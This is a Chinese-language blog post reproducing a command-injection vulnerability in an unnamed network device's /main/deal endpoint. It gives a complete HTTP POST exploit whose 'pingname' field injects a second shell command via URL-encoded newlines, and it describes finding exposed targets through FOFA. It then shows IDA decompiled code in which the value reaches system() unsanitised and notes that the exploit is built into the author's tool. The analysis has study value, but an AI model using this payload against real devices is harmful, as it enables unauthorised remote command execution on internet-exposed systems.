前言
在看公众号这篇
https://mp.weixin.qq.com/s/9w2OgEZCSteyFyfeHx1eEA
文章后,我尝试使用自己的方式对这个漏洞进行复盘。因为二进制漏洞审计这玩意我也没有搞过所以正好看看。由于我是第一次搞这个文章有写的不是很明了的。请多多包涵。接下来言归正传开始分析。
漏洞复现
我们顺着他说的去吐司论坛去寻找关键字。找到这个。接下来我们
我们在fofa上面搜索相关资产看看
exp 如下:
POST /main/deal HTTP/1.1
Host: xxxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "1363177655"
If-Modified-Since: Sat, 20 Apr 2024 12:24:18 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
addr_value=219&pingname=127.0.0.1+-c+1+%0aid%0a&pingtime=2&packetsize=4
实战效果如下图:
漏洞分析
我们下载下这个文件
我们使用ida打开进行分析。一般C 或者C++写都是main函数开头的所以我们直接搜索一下main
我们看到有一个请求方式的函数
判断请求方式是get还是post
另外这里也可以证明post请求是去LABEL_32
在C++和C中1代表true
如果是post请求使用并且content-length大小不是0 也就是有请求数据那么到
LABEL_32:
v8 = sub_11B80();
sub_25B2C();
return v8;
}
if ( !sub_243D4() )
goto LABEL_32;
我们看sub_11B80函数
我们看这里 应该是初始化参数
sub_26274("addr_value", &v5, 0);
sub_26274("checksend", &v4, 0);
sub_26274("language", &dword_41848, 0);
sub_25CFC("username", &dword_41E64, 32);
sub_25CFC("inputCode", v3, 8);
我们看到exp里面有这个addr_value 我看追踪看看
我们看到知道v5是219的时候我们根据以下
我们看到下图
int sub_171CE()
{
int v1; // [sp+8h] [bp+8h] BYREF
int v2; // [sp+Ch] [bp+Ch] BYREF
_BYTE v3[40]; // [sp+10h] [bp+10h] BYREF
memset(v3, 0, sizeof(v3));
sub_25CFC((int)"pingname", v3, 40);
sub_26274("pingtime", &v2, 5);
sub_26274("packetsize", &v1, 56);
sub_1DBD2(v3, v2, v1);
printf("<script language=javascript>window.location.href='webmain?headlist=%d&list=%d'</script>", 3, 4);
return 0;
}
我们看到v3 v2 v1都被赋予大小 其中V3 长度是40 传入sub_1DBD2
我们继续看sub_1DBD2 我们看到
int __fastcall sub_1DBD2(const char *a1, int a2, int a3)
{
char v7[128]; // [sp+18h] [bp+10h] BYREF
system("rm -rf ../www/pingresult.txt");
sprintf(v7, "ping %s -c %d -s %d >> ../www/pingresult.txt", a1, a2, a3);
system(v7);
return 0;
}
上述代码理解为
char v7[10]; // 假设v7的容量为10
sprintf(v7, "%d", 2); V7 被赋值为2 也就是V7=2 等于数字二
所以由上述可以知道 a1 a2 a3 这三个参数都可以可以控制的并且传入system执行造成命令执行我们演示一下
POST /main/deal HTTP/1.1
Host: xxxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "1363177655"
If-Modified-Since: Sat, 20 Apr 2024 12:24:18 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
addr_value=219&pingname=127.0.0.1&pingtime=1&packetsize=1
执行命令成功。我们在原有exp基础上加入进去一点东西
自动化
此漏洞已经集成到我们的工具里面